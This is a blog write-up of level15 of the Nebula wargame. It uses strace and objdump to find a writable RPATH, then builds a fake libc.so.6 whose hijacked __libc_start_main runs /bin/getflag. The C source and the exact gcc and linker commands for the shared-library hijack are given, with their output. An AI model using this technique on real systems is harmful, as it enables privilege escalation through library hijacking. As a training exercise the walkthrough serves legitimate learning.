Friday, November 2, 2012

exploit-exercises Nebula: level15

level15 of Nebula wargame, was actually a tricky challenge. We are told to strace flag15 to spot anything out of the ordinary, look for how to compile shared libraries and review dlopen(3) man page in depth. When strace'ing the binary, we see a lot of misses at the library loading time under /var/tmp/flag15.
[email protected]:~$ strace ../flag15/flag15 
execve("../flag15/flag15", ["../flag15/flag15"], [/* 18 vars */]) = 0
brk(0)                                  = 0x9c76000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb780b000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfea6524) = -1 ENOENT (No such file or directory)open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfea6524) = -1 ENOENT (No such file or directory)open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfea6524) = -1 ENOENT (No such file or directory)<snip>
Investigating this matter (and why the binary is searching under /var/tmp/flag15) leads us to finding that it was linked with a specific RPATH value.
[email protected]:~$ objdump -p /home/flag15/flag15 | grep RPATH
  RPATH                /var/tmp/flag15
And we have write access to /var/tmp, it becomes clear that we should add a fake libc.so under /var/tmp/flag15. A first try looked like this:
[email protected]:/var/tmp/flag15$ cat pwn15.c 
#include <unistd.h>
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * *
ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void
(* stack_end)) {
 
execl("/bin/getflag", (char *)NULL, (char *)NULL);
   }
i.e hijacking __libc_start_main to run /bin/getflag
[email protected]:/var/tmp/flag15$ gcc -fPIC -g -c pwn15.c
[email protected]:/var/tmp/flag15$ gcc pwn15.o -shared -o libc.so.6
[email protected]:/var/tmp/flag15$ /home/flag15/flag15 

/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, c in file libc.so.6 with link time reference
After investigating the matter, I came with the idea of using version script when linking
[email protected]:/var/tmp/flag15$ cat verscript 
GLIBC_2.0 {
};
[email protected]:/var/tmp/flag15$ gcc -fPIC -g -c pwn15.c
[email protected]:/var/tmp/flag15$ gcc -shared -Wl,--version-script,verscript -o libc.so.6 pwn.o
[email protected]:/var/tmp/flag15$ /home/flag15/flag15

/home/flag15/flag15: /var/tmp/flag15/libc.so.6: version `GLIBC_2.1.3' not found (required by /var/tmp/flag15/libc.so.6)
Checking with ld(1)'s options and specifically the -Bstatic option.
[email protected]:/var/tmp/flag15$ gcc -shared -Wl,--version-script,verscript,-Bstatic -o libc.so.6 pwn.o -static-libgcc
[email protected]:/var/tmp/flag15$ /home/flag15/flag15
You have successfully executed getflag on a target account

No comments:

Post a Comment